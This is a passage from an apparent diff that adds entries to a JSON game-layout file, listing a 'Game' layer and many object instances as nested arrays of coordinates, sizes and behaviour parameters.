+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4961,
+ 1645,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4865,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5331,
+ 1532,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4868,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 244,
+ 1664,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5524,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 672,
+ 1617,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5525,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 109260627805431,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 5251.66455078125,
+ 583.5079345703125,
+ 0,
+ 92,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 546,
+ 5366,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4416,
+ 1045,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5526,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4022,
+ 1124,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1343,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4163,
+ 1144,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 1342,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5583,
+ 1165,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1345,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5493,
+ 980,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1436,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3985,
+ 945,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1433,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4770,
+ 760,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1428,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4494,
+ 763,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1427,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2327,
+ 1158,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1323,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2290,
+ 946,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1426,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2204,
+ 1221,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1425,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2434,
+ 1134,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1424,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2068,
+ 1133,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1423,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2358,
+ 618,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1325,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2348,
+ 596,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1422,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2179,
+ 376,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1421,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1784,
+ 609,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1420,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2014,
+ 855,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1419,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1717,
+ 948,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1417,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1515,
+ 1043,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1418,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1417,
+ 1549,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1320,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1457,
+ 1223,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1416,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1353,
+ 767,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1403,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1282,
+ 954,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1398,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1107,
+ 1020,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1318,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 998,
+ 857,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1391,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1134,
+ 863,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1395,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 278,
+ 1060,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1317,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 214,
+ 860,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1347,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13,
+ 862,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1315,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 100,
+ 855,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1348,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 334,
+ 856,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1359,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5801,
+ 1284,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1346,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4620,
+ 914,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1344,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3820,
+ 921,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1341,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3607,
+ 774,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1327,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1881,
+ 634,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1324,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1183,
+ 1295,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1319,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4730,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 1663,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4926.13525390625,
+ 799.4502563476562,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.07637524604797363,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 5333,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5057.85302734375,
+ 854.4127807617188,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.07637524604797363,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 5341,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4825,
+ 693,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 517,
+ 5340,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4091,
+ 765,
+ 0,
+ 257,
+ 16,
+ 0,
+ 0,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 387,
+ 1489,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4340,
+ 765,
+ 0,
+ 257,
+ 16,
+ 0,
+ 0,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 387,
+ 1542,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4192,
+ 765,
+ 0,
+ 170,
+ 57,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ 0,
+ 0,
+ []
+ ],
+ 389,
+ 1543,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 963,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 1185,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5173,
+ 1790,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 1307,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5966,
+ 912,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 1330,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5966,950",
+ 0,
+ 2,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5968,
+ 928,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 1331,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5969,
+ 582,
+ 0,
+ 13,
+ 804,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 1332,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8410.916015625,
+ 604.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1333,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8410.916015625,
+ 728.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 1334,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8283.916015625,
+ 604.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 1335,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8283.916015625,
+ 730.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 1336,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8537.916015625,
+ 604.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1337,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8537.916015625,
+ 728.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 1338,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6239,
+ 1929,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 1339,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6417,
+ 1552,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 1340,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1564,
+ 1668,
+ 0,
+ 275,
+ 275,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 1351,
+ [],
+ [
+ [
+ 50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5729,
+ 1569,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 1353,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 1569,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 1354,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5783,
+ 1569,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 1355,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7786,
+ 574,
+ 0,
+ 257,
+ 16,
+ 0,
+ 0,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 387,
+ 1357,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6285,
+ 1108,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 1361,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -492,
